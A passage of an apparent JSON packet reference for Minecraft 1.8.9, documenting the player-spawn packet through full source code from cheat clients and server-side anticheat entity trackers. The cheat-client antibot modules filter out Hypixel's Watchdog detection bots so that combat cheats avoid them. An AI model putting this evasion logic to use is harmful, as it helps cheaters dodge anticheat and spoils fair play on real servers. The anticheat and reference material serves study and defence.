customName.toLowerCase().contains(\"§r\")){\n                    \tCommand.sendPrivateChatMessage(\"A watchdog bot named \" + name + \"was removed from your game\");\n                    \tremoveThese.add(ent);\n                    }\n                    \n                    // npcs\n                    if(formattedName.contains(\"§8[NPC]\")){\n                    \t\n                    \tdontRemove.add(ent);\n                    \t\n                    }\n                    \n                    if(!formattedName.contains(\"§c\") && !customName.equalsIgnoreCase(\"\")){\n\n                    \tdontRemove.add(ent);\n                    }\n                    \n                    // bedwars shop\n                    if(!formattedName.startsWith(\"§\") && formattedName.endsWith(\"§r\")){\n                    \tdontRemove.add(ent);\n                    }\n                    \n                }\n                \n            }\n            \n        }\n\t\t\n\t}\n\t\n}\n// NOTE (AI): The only module in the corpus that cancels S0CPacketSpawnPlayer outright. On non-Hypixel servers a spawn within 17 blocks, more than 1 block above the player and not at the player's exact coordinates is assumed to be a bot, and the packet is cancelled before the entity ever enters the world. The Hypixel branch is commented out: Hypixel bots carry plausible spawn data, so on that server the module instead removes bots per-tick from the entity list (hypixelAntibot checks invisibility, name formatting, tab-list absence and known Watchdog naming conventions). Cancelling the spawn packet is client-only: the server keeps simulating the bot, but the local world never receives the entity.",
      "code_source": "Spicy - info/spicyclient/modules/combat/Antibot.java",
      "vanilla_hook": "EventPacket (pre, incoming); EventUpdate for the per-tick Hypixel removal.",
      "anti_cheat_notes": "Cancelling the spawn is invisible to the server and to anti-cheats; the visible effect is that legitimate players matching the heuristic vanish too, which is the trade-off of position-based filtering.",
      "variations": "Sigma 4.11 AntiBot reads S0C on EventPacket and filters on spawn data; Spicy splits the logic per server family and keeps the Hypixel path entity-list based. November Recode 2.0 ships the same role as AntiBotModule with WATCHDOG, TAB_TICKS and NPC modes; the WATCHDOG mode flags spawns that follow a detected bot despawn."
     },
     {
      "name": "DougDimmadome / FloofyFoxes / Furries (entity overrides)",
      "found_in": [
       "Spicy"
      ],
      "purpose": "Meme-module family that imports S0C as the hook point for replacing spawned player models and skins; the shipped builds contain no handling.",
      "how_it_works": "All three modules import S0CPacketSpawnPlayer and define empty onEvent bodies. The import marks the intended integration point (hook player spawns, replace the entity render) but no spawn handling exists in the shipped files.",
      "detailed_code": "// ===== FILE: Spicy, info/spicyclient/modules/memes/DougDimmadome.java =====\npackage info.spicyclient.modules.memes;\n\nimport java.util.ArrayList;\nimport java.util.Comparator;\nimport java.util.List;\nimport java.util.Random;\nimport java.util.stream.Collectors;\n\nimport org.lwjgl.input.Keyboard;\n\nimport info.spicyclient.events.Event;\nimport info.spicyclient.events.listeners.EventChatmessage;\nimport info.spicyclient.events.listeners.EventMotion;\nimport info.spicyclient.events.listeners.EventPacket;\nimport info.spicyclient.events.listeners.EventUpdate;\nimport info.spicyclient.modules.Module;\nimport info.spicyclient.settings.BooleanSetting;\nimport info.spicyclient.settings.ModeSetting;\nimport info.spicyclient.settings.SettingChangeEvent;\nimport net.minecraft.entity.EntityLivingBase;\nimport net.minecraft.entity.monster.EntityMob;\nimport net.minecraft.entity.passive.EntityAnimal;\nimport net.minecraft.entity.player.EntityPlayer;\nimport net.minecraft.network.play.client.C02PacketUseEntity;\nimport net.minecraft.network.play.client.C0APacketAnimation;\nimport net.minecraft.network.play.server.S02PacketChat;\nimport net.minecraft.network.play.server.S0CPacketSpawnPlayer;\nimport net.minecraft.network.play.client.C02PacketUseEntity.Action;\n\npublic class DougDimmadome extends Module {\n\t\n\tpublic DougDimmadome() {\n\t\tsuper(\"Doug Dimmadome\", Keyboard.KEY_NONE, Category.MEMES);\n\t}\n\t\n\tpublic void onEnable() {\n\t\t\n\t}\n\t\n\tpublic void onDisable() {\n\t\t\n\t}\n\t\n\tpublic void onEvent(Event e) {\n\t\t\n\t}\n\t\n}\n// NOTE (AI): The corpus hit is import-only: the shipped module body is empty scaffolding with empty onEvent. The S0C import marks the intended hook point (spawned player entities, for the skin and model replacement joke), but no handling exists in this build. FloofyFoxes and Furries are the same meme-module family with identical import-only S0C references, and Account.java imports S0C in the same client for the same reason.",
      "code_source": "Spicy - info/spicyclient/modules/memes/DougDimmadome.java",
      "vanilla_hook": "None in the shipped builds (import only).",
      "anti_cheat_notes": "No detection relevance: an unused import changes nothing on the wire.",
      "variations": "Spicy also imports S0C in files/Account.java; the FloofyFoxes and Furries modules are the same empty family."
     },
     {
      "name": "AntiBotModule (WATCHDOG spawn veto)",
      "found_in": [
       "November Recode 2.0"
      ],
      "purpose": "Flag player spawns that arrive after a detected bot despawned, so combat modules never target the replacement.",
      "how_it_works": "In WATCHDOG mode the module first scans the world entity list for invisible players missing from the tab list and picks one above the player as aboveEntityId. Once the S13 listener confirms that id was destroyed, the S0C branch of the same packet listener adds every new spawn to the bots set and prints a suspicious-spawn notice; other modules consult bot() before targeting.",
      "detailed_code": "// ===== FILE: November Recode 2.0, feature/module/impl/combat/AntiBotModule.java =====\n/* November.lol © 2023 */\npackage lol.november.feature.module.impl.combat;\n\nimport io.netty.util.internal.ConcurrentSet;\nimport java.util.Set;\nimport lol.november.feature.module.Category;\nimport lol.november.feature.module.Module;\nimport lol.november.feature.module.Register;\nimport lol.november.feature.setting.Setting;\nimport lol.november.listener.bus.Listener;\nimport lol.november.listener.bus.Subscribe;\nimport lol.november.listener.event.net.EventPacket;\nimport lol.november.listener.event.player.EventUpdate;\nimport lol.november.utility.chat.Printer;\nimport net.minecraft.client.network.NetworkPlayerInfo;\nimport net.minecraft.entity.Entity;\nimport net.minecraft.entity.player.EntityPlayer;\nimport net.minecraft.network.play.server.S0CPacketSpawnPlayer;\nimport net.minecraft.network.play.server.S13PacketDestroyEntities;\n\n/**\n * @author Gavin\n * @since 2.0.0\n */\n@Register(\n  name = \"AntiBot\",\n  description = \"Prevents you from attacking bots\",\n  category = Category.COMBAT\n)\npublic class AntiBotModule extends Module {\n\n  private final Setting<Mode> mode = new Setting<>(\"Mode\", Mode.WATCHDOG);\n\n  private final Setting<Integer> tabTicks = new Setting<>(\n    () -> mode.getValue() == Mode.TAB_TICKS,\n    \"Tab Ticks\",\n    50,\n    1,\n    0,\n    500\n  );\n  private final Setting<Boolean> noTab = new Setting<>(\n    () -> mode.getValue() == Mode.NPC,\n    \"No Tab List\",\n    true\n  );\n\n  private final Set<Integer> bots = new ConcurrentSet<>();\n  private int aboveEntityId = -1;\n  private boolean aboveDespawn;\n\n  @Override\n  public void disable() {\n    super.disable();\n    bots.clear();\n    aboveEntityId = -1;\n    aboveDespawn = false;\n  }\n\n  @Subscribe\n  private final Listener<EventUpdate> update = event -> {\n    if (mc.thePlayer.ticksExisted < 5) {\n      bots.clear();\n\n      if (mode.getValue() == Mode.WATCHDOG) {\n        aboveEntityId = -1;\n        aboveDespawn = false;\n      }\n\n      return;\n    }\n\n    switch (mode.getValue()) {\n      case WATCHDOG -> {\n        // todo i have no clue\n\n        for (EntityPlayer player : mc.theWorld.playerEntities) {\n          if (player == null || player.equals(mc.thePlayer)) continue;\n\n          if (!tabList(player) && player.isInvisible()) {\n            bots.add(player.getEntityId());\n          }\n        }\n\n        if (aboveEntityId != -1) return;\n        for (int bot : bots) {\n          Entity entity = mc.theWorld.getEntityByID(bot);\n          if (!(entity instanceof EntityPlayer)) {\n            bots.remove(bot);\n            continue;\n          }\n\n          if (Math.abs(entity.posY - mc.thePlayer.posY) <= 10.0) {\n            aboveEntityId = entity.getEntityId();\n            Printer.print(\n              \"Detected bot above you: \" +\n              aboveEntityId +\n              \" (\" +\n              entity.getName() +\n              \")\"\n            );\n            break;\n          }\n        }\n      }\n      case TAB_TICKS -> {\n        for (EntityPlayer player : mc.theWorld.playerEntities) {\n          if (player == null || player.equals(mc.thePlayer)) continue;\n\n          if (\n            player.ticksExisted > tabTicks.getValue() && !tabList(player)\n          ) bots.add(player.getEntityId());\n        }\n      }\n      case NPC -> {\n        for (EntityPlayer player : mc.theWorld.playerEntities) {\n          if (player == null || player.equals(mc.thePlayer)) continue;\n          String name = player.getGameProfile().getName();\n\n          if (\n            name.startsWith(\"CIT-\") ||\n            name.contains(\"[NPC]\") ||\n            name.contains(\"\\u00A7\") ||\n            (!tabList(player) && noTab.getValue())\n          ) bots.add(player.getEntityId());\n        }\n      }\n    }\n  };\n\n  @Subscribe\n  private final Listener<EventPacket.In> packetIn = event -> {\n    if (mode.getValue() == Mode.WATCHDOG) {\n      if (event.get() instanceof S13PacketDestroyEntities packet) {\n        for (int entityId : packet.getEntityIDs()) {\n          if (entityId == aboveEntityId) {\n            Printer.print(entityId + \" was removed from the world. Staff?\");\n            aboveEntityId = -1;\n          }\n        }\n      } else if (event.get() instanceof S0CPacketSpawnPlayer packet) {\n        if (!aboveDespawn) return;\n\n        bots.add(packet.getEntityID());\n        Printer.print(\"Suspicious entity spawn: \" + packet.getEntityID());\n      }\n    }\n  };\n\n  private boolean tabList(EntityPlayer player) {\n    for (NetworkPlayerInfo info : mc.thePlayer.sendQueue.getPlayerInfoMap()) {\n      if (\n        info\n          .getGameProfile()\n          .getName()\n          .equals(player.getGameProfile().getName())\n      ) return true;\n    }\n\n    return false;\n  }\n\n  public boolean bot(int entityId) {\n    return bots.contains(entityId);\n  }\n\n  private enum Mode {\n    TAB_TICKS,\n    NPC,\n    WATCHDOG,\n  }\n}\n// NOTE (AI): AntiBotModule's S0C handling runs only in WATCHDOG mode. The module first scans the world entity list for invisible players missing from the tab list and picks one above the player as aboveEntityId, printing a detection message. Once aboveDespawn is set, the packet listener treats every subsequent S0CPacketSpawnPlayer as a bot, adds its entity id to the bots set and prints a suspicious-spawn notice. The bots set is the veto list: other combat modules consult bot() before targeting. The spawn veto has no position filter, so a single despawn-then-respawn of a real player flags them; the heuristic is tuned to watchdog-style bots that spawn above the player.",
      "code_source": "November Recode 2.0, feature/module/impl/combat/AntiBotModule.java",
      "vanilla_hook": "EventPacket.In (S0C and S13 branches), EventUpdate (entity list scan).",
      "anti_cheat_notes": "The veto is client-side only; the server never sees it. False positives are the cost: a legitimate player who respawns right after a bot despawn is blacklisted until the bots set is cleared on disable or the first five ticks after spawn.",
      "variations": "Spicy cancels S0C outright and Sigma filters on spawn data; November instead records ids and lets KillAura-style modules skip them via bot()."
     }
    ],
    "general_hooks": "EventPacket with pre and incoming checks on Spicy and Sigma; nothing else in the corpus hooks S0C at module level.",
    "client_variations": "Spicy cancels the packet object (packet.setCanceled) inside a single EventPacket; Sigma reads spawn data on its EventPacket bus; Rise 6.x lists S0C only in the NetworkAPI script whitelist. November Recode 2.0 handles S0C inside AntiBotModule's EventPacket.In listener, gated on WATCHDOG mode.",
    "related": [
     "S0FPacketSpawnMob",
     "S13PacketDestroyEntities",
     "S18PacketEntityTeleport",
     "S0BPacketAnimation"
    ],
    "anticheat": {
     "overview": "The named-entity spawn packet is how server-side anticheats learn that another player exists and where. Reach, hitbox and killaura checks need this position anchor before the entity-update stream takes over, so every modern anticheat keeps an entity tracker keyed by spawn: Hydro and Tecnio insert a tracked entity into a map, Shard adds it to the compensated entity list and observes it for view sessions, and Grim replicates it into the simulation. The packet is never flagged; it is the insertion point that makes entity-distance checks possible. S0F (spawn mob) shares the same tracker files because living entities feed the same maps.",
     "checks": [
      {
       "name": "Spawn-player tracking (Hydro)",
       "found_in": [
        "Incognitolol-Hydro"
       ],
       "purpose": "Insert the spawned player into the tracked-entity map so reach and hitbox checks can measure against it.",
       "how_it_works": "EntityTracker.registerOutgoingPreHandler routes SPAWN_PLAYER to handleSpawnPlayer, which wraps the packet as WrapperPlayServerSpawnPlayer, reads the fixed-point position and stores a TrackedEntity keyed by entity id. S14 relative moves and S18 teleports then update the entry inside transaction confirmations, and DESTROY_ENTITIES removes it. Entity movement is interpolated only on flying packets, keeping the tracker transaction-accurate.",
       "detects": "Nothing directly; it is the data layer. Reach checks and entity-distance queries (getDistanceToEntity, getClosestEntity, getEntitiesWithinDistance) consume the map.",
       "detailed_code": "// ===== FILE: Incognitolol-Hydro, src/main/java/integral/studios/hydro/model/tracker/impl/EntityTracker.java =====\npackage integral.studios.hydro.model.tracker.impl;\n\nimport com.github.retrooper.packetevents.event.PacketReceiveEvent;\nimport com.github.retrooper.packetevents.event.PacketSendEvent;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.util.Vector3d;\nimport com.github.retrooper.packetevents.wrapper.play.server.*;\nimport integral.studios.hydro.model.PlayerData;\nimport integral.studios.hydro.model.tracker.Tracker;\nimport integral.studios.hydro.util.player.tracker.entity.TrackedEntity;\nimport integral.studios.hydro.util.packet.PacketUtil;\nimport lombok.Getter;\n\nimport java.util.Map;\nimport java.util.concurrent.ConcurrentHashMap;\n\n\n@Getter\npublic class EntityTracker extends Tracker {\n    // Thread-safe entity storage\n    private final Map<Integer, TrackedEntity> entityMap = new ConcurrentHashMap<>();\n\n    public EntityTracker(PlayerData playerData) {\n        super(playerData);\n    }\n\n    @Override\n    public void registerOutgoingPreHandler(PacketSendEvent event) {\n        if (event.getPacketType() == PacketType.Play.Server.SPAWN_LIVING_ENTITY) {\n            handleSpawnLivingEntity(event);\n        } else if (event.getPacketType() == PacketType.Play.Server.SPAWN_PLAYER) {\n            handleSpawnPlayer(event);\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_RELATIVE_MOVE) {\n            handleEntityRelativeMove(event);\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_RELATIVE_MOVE_AND_ROTATION) {\n            handleEntityRelativeMoveAndRotation(event);\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_TELEPORT) {\n            handleEntityTeleport(event);\n        } else if (event.getPacketType() == PacketType.Play.Server.DESTROY_ENTITIES) {\n            handleDestroyEntities(event);\n        }\n    }\n\n    @Override\n    public void registerIncomingPostHandler(PacketReceiveEvent event) {\n        if (PacketUtil.isFlying(event.getPacketType())) {\n            handleFlyingPacket();\n        }\n    }\n\n    private void handleSpawnLivingEntity(PacketSendEvent event) {\n        WrapperPlayServerSpawnLivingEntity wrapper = new WrapperPlayServerSpawnLivingEntity(event);\n        Vector3d position = wrapper.getPosition();\n        int entityId = wrapper.getEntityId();\n\n        TrackedEntity entity = new TrackedEntity(entityId, position.x, position.y, position.z);\n        entityMap.put(entityId, entity);\n    }\n\n    private void handleSpawnPlayer(PacketSendEvent event) {\n        WrapperPlayServerSpawnPlayer wrapper = new WrapperPlayServerSpawnPlayer(event);\n        Vector3d position = wrapper.getPosition();\n        int entityId = wrapper.getEntityId();\n\n        TrackedEntity entity = new TrackedEntity(entityId, position.x, position.y, position.z);\n        entityMap.put(entityId, entity);\n    }\n\n    private void handleEntityRelativeMove(PacketSendEvent event) {\n        WrapperPlayServerEntityRelativeMove wrapper = new WrapperPlayServerEntityRelativeMove(event);\n\n        TrackedEntity entity = entityMap.get(wrapper.getEntityId());\n        if (entity == null) {\n            return;\n        }\n\n        playerData.getTransactionTracker().confirmPre(() -> {\n            entity.handleMovement(wrapper.getDeltaX(), wrapper.getDeltaY(), wrapper.getDeltaZ());\n        });\n\n        playerData.getTransactionTracker().confirmPost(this::updateAllEntitiesPostTransaction);\n    }\n\n    private void handleEntityRelativeMoveAndRotation(PacketSendEvent event) {\n        WrapperPlayServerEntityRelativeMoveAndRotation wrapper = new WrapperPlayServerEntityRelativeMoveAndRotation(event);\n\n        TrackedEntity entity = entityMap.get(wrapper.getEntityId());\n        if (entity == null) {\n            return;\n        }\n\n        playerData.getTransactionTracker().confirmPre(() -> {\n            entity.handleMovement(wrapper.getDeltaX(), wrapper.getDeltaY(), wrapper.getDeltaZ());\n        });\n\n        playerData.getTransactionTracker().confirmPost(this::updateAllEntitiesPostTransaction);\n    }\n\n    private void handleEntityTeleport(PacketSendEvent event) {\n        WrapperPlayServerEntityTeleport wrapper = new WrapperPlayServerEntityTeleport(event);\n\n        TrackedEntity entity = entityMap.get(wrapper.getEntityId());\n        if (entity == null) {\n            return;\n        }\n\n        Vector3d position = wrapper.getPosition();\n\n        playerData.getTransactionTracker().confirmPre(() -> {\n            entity.handleTeleport(position.x, position.y, position.z);\n        });\n\n        playerData.getTransactionTracker().confirmPost(this::updateAllEntitiesPostTransaction);\n    }\n\n    private void handleDestroyEntities(PacketSendEvent event) {\n        WrapperPlayServerDestroyEntities wrapper = new WrapperPlayServerDestroyEntities(event);\n\n        for (int entityId : wrapper.getEntityIds()) {\n            entityMap.remove(entityId);\n        }\n    }\n\n    private void handleFlyingPacket() {\n        entityMap.values().forEach(TrackedEntity::handlePostFlying);\n    }\n\n    private void updateAllEntitiesPostTransaction() {\n        entityMap.values().forEach(TrackedEntity::handlePostTransaction);\n    }\n\n    public TrackedEntity get(int entityId) {\n        return entityMap.get(entityId);\n    }\n\n    public boolean isTracking(int entityId) {\n        return entityMap.containsKey(entityId);\n    }\n\n    public int getTrackedEntityCount() {\n        return entityMap.size();\n    }\n\n\n    public TrackedEntity removeEntity(int entityId) {\n        return entityMap.remove(entityId);\n    }\n\n\n    public void clearEntities() {\n        entityMap.clear();\n    }\n\n\n    public double getDistanceToEntity(int entityId) {\n        TrackedEntity entity = entityMap.get(entityId);\n        if (entity == null) {\n            return -1;\n        }\n\n        double dx = entity.getX() - playerData.getPositionTracker().getX();\n        double dy = entity.getY() - playerData.getPositionTracker().getY();\n        double dz = entity.getZ() - playerData.getPositionTracker().getZ();\n\n        return Math.sqrt(dx * dx + dy * dy + dz * dz);\n    }\n\n    public TrackedEntity getClosestEntity() {\n        TrackedEntity closest = null;\n        double minDistance = Double.MAX_VALUE;\n\n        for (Map.Entry<Integer, TrackedEntity> entry : entityMap.entrySet()) {\n            TrackedEntity entity = entry.getValue();\n            double distance = getDistanceToEntity(entry.getKey());\n\n            if (distance >= 0 && distance < minDistance) {\n                minDistance = distance;\n                closest = entity;\n            }\n        }\n\n        return closest;\n    }\n\n\n    public Map<Integer, TrackedEntity> getEntitiesWithinDistance(double maxDistance) {\n        Map<Integer, TrackedEntity> nearbyEntities = new ConcurrentHashMap<>();\n\n        for (Map.Entry<Integer, TrackedEntity> entry : entityMap.entrySet()) {\n            double distance = getDistanceToEntity(entry.getKey());\n            if (distance >= 0 && distance <= maxDistance) {\n                nearbyEntities.put(entry.getKey(), entry.getValue());\n            }\n        }\n\n        return nearbyEntities;\n    }\n\n    public int getEntityId(TrackedEntity entity) {\n        if (entity == null) return -1;\n\n        for (Map.Entry<Integer, TrackedEntity> entry : entityMap.entrySet()) {\n            if (entry.getValue() == entity) {\n                return entry.getKey();\n            }\n        }\n\n        return -1;\n    }\n}\n\n// NOTE (AI): handleSpawnPlayer is lines 60-67; the same file routes SPAWN_LIVING_ENTITY (29-30, 51-58) and DESTROY_ENTITIES (39-40, 116-122), which is why the S0C, S0F and S13 corpora all hit this tracker.\n",
       "code_source": "Incognitolol-Hydro, src/main/java/integral/studios/hydro/model/tracker/impl/EntityTracker.java",
       "variations": "Tecnio's EntityTracker does the same with GPacketPlayServerSpawnNamedEntity and confirms the insertion on the connection tracker; Shard routes SPAWN_PLAYER into compensatedEntities.addEntity; Grim replicates the spawn into its compensated entity map with metadata and rotation."
      },
      {
       "name": "Spawn-player view tracking (Shard)",
       "found_in": [
        "KaelusAI-Shard"
       ],
       "purpose": "Notify the view-session coordinator when a tracked player spawns so spectator-style tracking sessions stay in sync.",
       "how_it_works": "ViewTrackingObserver listens at MONITOR priority and, on SPAWN_PLAYER, resolves the spawned player's UUID, then schedules a synchronous task that checks isTrackableViewTarget and calls coordinator.trackTarget. It ignores the viewer's own spawn (targetId == viewer.uniqueId) and is a no-op when no session is active. DESTROY_ENTITIES is the matching removal path.",
       "detects": "Nothing: this is session bookkeeping for the monitoring system, not a detection check.",
       "detailed_code": "// ===== FILE: KaelusAI-Shard, src/main/kotlin/ac/shard/monitor/view/ViewTrackingObserver.kt =====\n/*\n * This file is part of Shard - https://github.com/KaelusAI/Shard\n * Copyright (C) 2026 KaelusAI\n *\n * Shard is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * Shard is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see <http://www.gnu.org/licenses/>.\n */\npackage ac.shard.monitor.view\n\nimport ac.shard.scheduler.SchedulerService\nimport com.github.retrooper.packetevents.event.PacketListenerAbstract\nimport com.github.retrooper.packetevents.event.PacketListenerPriority\nimport com.github.retrooper.packetevents.event.PacketSendEvent\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerDestroyEntities\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerSpawnPlayer\nimport java.util.UUID\nimport org.bukkit.Bukkit\nimport org.bukkit.entity.Player\n\ninternal class ViewTrackingObserver(\n  private val scheduler: SchedulerService,\n  private val coordinator: ViewSessionCoordinator,\n  private val viewerResolver: (UUID) -> Player?,\n) : PacketListenerAbstract(PacketListenerPriority.MONITOR) {\n  override fun onPacketSend(event: PacketSendEvent) {\n    val viewer = event.getPlayer<Any>() as? Player ?: return\n    if (coordinator.session(viewer.uniqueId) == null) {\n      return\n    }\n\n    when (event.packetType) {\n      PacketType.Play.Server.SPAWN_PLAYER -> observeSpawnPlayer(event, viewer)\n      PacketType.Play.Server.DESTROY_ENTITIES -> observeDestroyEntities(event, viewer)\n    }\n  }\n\n  private fun observeSpawnPlayer(event: PacketSendEvent, viewer: Player) {\n    val targetId = WrapperPlayServerSpawnPlayer(event).uuid\n    if (targetId == viewer.uniqueId) {\n      return\n    }\n\n    event.tasksAfterSend.add(\n      Runnable {\n        scheduler.runSync(\n          viewer,\n          Runnable {\n            val activeViewer = viewerResolver(viewer.uniqueId) ?: return@Runnable\n            val target = Bukkit.getPlayer(targetId) ?: return@Runnable\n            if (isTrackableViewTarget(activeViewer, target)) {\n              coordinator.trackTarget(activeViewer.uniqueId, target)\n            }\n          },\n        )\n      }\n    )\n  }\n\n  private fun observeDestroyEntities(event: PacketSendEvent, viewer: Player) {\n    val entityIds = WrapperPlayServerDestroyEntities(event).entityIds.copyOf()\n    if (entityIds.isEmpty()) {\n      return\n    }\n\n    event.tasksAfterSend.add(\n      Runnable {\n        scheduler.runSync(\n          viewer,\n          Runnable {\n            val activeViewer = viewerResolver(viewer.uniqueId) ?: return@Runnable\n            coordinator.removeTrackedEntities(activeViewer.uniqueId, entityIds)\n          },\n        )\n      }\n    )\n  }\n}\n\n// NOTE (AI): observeSpawnPlayer is lines 48-68 and observeDestroyEntities 70-87; both defer to the main thread via tasksAfterSend because they touch Bukkit player state.\n",
       "code_source": "KaelusAI-Shard, src/main/kotlin/ac/shard/monitor/view/ViewTrackingObserver.kt",
       "variations": "Shard's PacketListener also adds the entity to compensatedEntities on the same packet (handleSpawnPlayer), so the anticheat's simulation and its view sessions are fed by two different listeners over the same packet."
      },
      {
       "name": "Named-entity spawn tracking (Tecnio)",
       "found_in": [
        "Tecnio-AntiHaxerman"
       ],
       "purpose": "Seed the entity tracker map with the spawned player's position inside a confirmed transaction.",
       "how_it_works": "EntityTracker.handle dispatches GPacketPlayServerSpawnNamedEntity to a connection-confirmed action: it builds a TrackerEntity from the wrapper's entity id and fixed-point coordinates, sets the position and puts it in trackerMap. S14 entity updates and S18 teleports mutate the entry under confirmation, and the map is interpolated on every flying packet in handlePost.",
       "detects": "Nothing by itself; the tracker feeds the hitbox and reach checks.",
       "detailed_code": "// ===== FILE: Tecnio-AntiHaxerman, src/main/java/me/tecnio/ahm/data/tracker/impl/EntityTracker.java =====\npackage me.tecnio.ahm.data.tracker.impl;\n\nimport ac.artemis.packet.spigot.wrappers.GPacket;\nimport ac.artemis.packet.wrapper.client.PacketPlayClientFlying;\nimport cc.ghast.packet.wrapper.packet.play.server.GPacketPlayServerEntity;\nimport cc.ghast.packet.wrapper.packet.play.server.GPacketPlayServerEntityDestroy;\nimport cc.ghast.packet.wrapper.packet.play.server.GPacketPlayServerEntityTeleport;\nimport cc.ghast.packet.wrapper.packet.play.server.GPacketPlayServerSpawnNamedEntity;\nimport lombok.Getter;\nimport me.tecnio.ahm.data.PlayerData;\nimport me.tecnio.ahm.data.tracker.Tracker;\nimport me.tecnio.ahm.util.player.TrackerEntity;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\n@Getter\npublic final class EntityTracker extends Tracker {\n\n    private final Map<Integer, TrackerEntity> trackerMap = new HashMap<>();\n\n    public EntityTracker(final PlayerData data) {\n        super(data);\n    }\n\n    @Override\n    public void handle(final GPacket packet) {\n        if (packet instanceof GPacketPlayServerEntity) {\n            final GPacketPlayServerEntity wrapper = ((GPacketPlayServerEntity) packet);\n            final int id = wrapper.getEntityId();\n\n            if (this.trackerMap.containsKey(id)) {\n                final TrackerEntity trackerEntity = this.trackerMap.get(id);\n                if (trackerEntity == null) return;\n\n                data.getConnectionTracker().confirm(() -> {\n                    final double x = wrapper.getX();\n                    final double y = wrapper.getY();\n                    final double z = wrapper.getZ();\n\n                    trackerEntity.serverPosX += x;\n                    trackerEntity.serverPosY += y;\n                    trackerEntity.serverPosZ += z;\n\n                    trackerEntity.setPosition2(\n                            trackerEntity.serverPosX / 32.0D,\n                            trackerEntity.serverPosY / 32.0D,\n                            trackerEntity.serverPosZ / 32.0D\n                    );\n                });\n            }\n        } else if (packet instanceof GPacketPlayServerEntityTeleport) {\n            final GPacketPlayServerEntityTeleport wrapper = ((GPacketPlayServerEntityTeleport) packet);\n            final int id = wrapper.getEntityId();\n\n            if (this.trackerMap.containsKey(id)) {\n                final TrackerEntity trackerEntity = this.trackerMap.get(id);\n                if (trackerEntity == null) return;\n\n                data.getConnectionTracker().confirm(() -> {\n                    trackerEntity.serverPosX = wrapper.getX();\n                    trackerEntity.serverPosY = wrapper.getY();\n                    trackerEntity.serverPosZ = wrapper.getZ();\n\n                    final double d0 = (double) trackerEntity.serverPosX / 32.0D;\n                    final double d1 = (double) trackerEntity.serverPosY / 32.0D;\n                    final double d2 = (double) trackerEntity.serverPosZ / 32.0D;\n\n                    final double deltaX = Math.abs(trackerEntity.getPosX() - d0);\n                    final double deltaY = Math.abs(trackerEntity.getPosY() - d1);\n                    final double deltaZ = Math.abs(trackerEntity.getPosZ() - d2);\n\n                    if (deltaX < 0.03125D\n                            && deltaY < 0.015625D\n                            && deltaZ < 0.03125D) {\n                        trackerEntity.setPosition2(trackerEntity.getPosX(), trackerEntity.getPosY(), trackerEntity.getPosZ());\n                    } else {\n                        trackerEntity.setPosition2(d0, d1, d2);\n                    }\n                });\n            }\n        } else if (packet instanceof GPacketPlayServerSpawnNamedEntity) {\n            final GPacketPlayServerSpawnNamedEntity wrapper = ((GPacketPlayServerSpawnNamedEntity) packet);\n\n            data.getConnectionTracker().confirm(() -> {\n                final TrackerEntity trackerEntity = new TrackerEntity(wrapper.getEntityId(),\n                        // Thank you artemis packet api for being shit and dividing my shit.\n                        (int) Math.round(wrapper.getX() * 32.0D),\n                        (int) Math.round(wrapper.getY() * 32.0D),\n                        (int) Math.round(wrapper.getZ() * 32.0D)\n                );\n                trackerEntity.setPosition(wrapper.getX(), wrapper.getY(), wrapper.getZ());\n\n                this.trackerMap.put(wrapper.getEntityId(), trackerEntity);\n            });\n        } else if (packet instanceof GPacketPlayServerEntityDestroy) {\n            final GPacketPlayServerEntityDestroy wrapper = ((GPacketPlayServerEntityDestroy) packet);\n\n            for (final int entity : wrapper.getEntities()) {\n                this.trackerMap.remove(entity);\n            }\n        }\n    }\n\n    @Override\n    public void handlePost(final GPacket packet) {\n        if (packet instanceof PacketPlayClientFlying) {\n            this.trackerMap.values().forEach(TrackerEntity::update);\n        }\n    }\n}\n\n// NOTE (AI): The named-spawn branch is lines 82-95; note the fixed-point correction: the packet API divides coordinates, so the tracker re-multiplies by 32 before storing server-space positions.\n",
       "code_source": "Tecnio-AntiHaxerman, src/main/java/me/tecnio/ahm/data/tracker/impl/EntityTracker.java",
       "variations": "Hydro confirms spawns implicitly through its transaction tracker; Grim replicates metadata and rotations; Artemis ReachPreProcessor.attemptAdd is the same named-spawn insertion for its reach preprocessor."
      }
     ]
    }
   },
   "wiki_notes": [
    "If an entity with the same ID already exists on the client it is automatically deleted and replaced by the new entity.",
    "MCP 1.8.9 S0CPacketSpawnPlayer implements Packet<INetHandlerPlayClient> dispatching to INetHandlerPlayClient.handleSpawnPlayer; wire serde is readPacketData/writePacketData via readByte, readInt, readShort, readUuid, readVarIntFromBuffer.",
    "1.8.9 callers: EntityTrackerEntry.createSpawnPacket sends new S0CPacketSpawnPlayer (line 501): https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/entity/EntityTrackerEntry.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S0CPacketSpawnPlayer/",
   "mcp_path": "net/minecraft/network/play/server/S0CPacketSpawnPlayer.java",
   "group": "play-client",
   "logic_classes": [
    "EntityTrackerEntry"
   ]
  },
  {
   "id": "S0DPacketCollectItem",
   "hex": "0x0D",
   "dec": 13,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "Collect Item",
   "desc": "Shows an item being collected (picked up) by a player entity. Plays the pickup animation.",
   "tags": [
    "entity",
    "item",
    "animation"
   ],
   "fields": [
    {
     "name": "itemEntityId",
     "type": "VarInt",
     "desc": "The item entity being collected"
    },
    {
     "name": "collectorEntityId",
     "type": "VarInt",
     "desc": "The player collecting the item"
    }
   ],
   "encoding": [
    [
     "Collector ID",
     "VarInt",
     "Item entity ID"
    ],
    [
     "Collecting Player ID",
     "VarInt",
     "Player entity ID"
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handleCollectItem()"
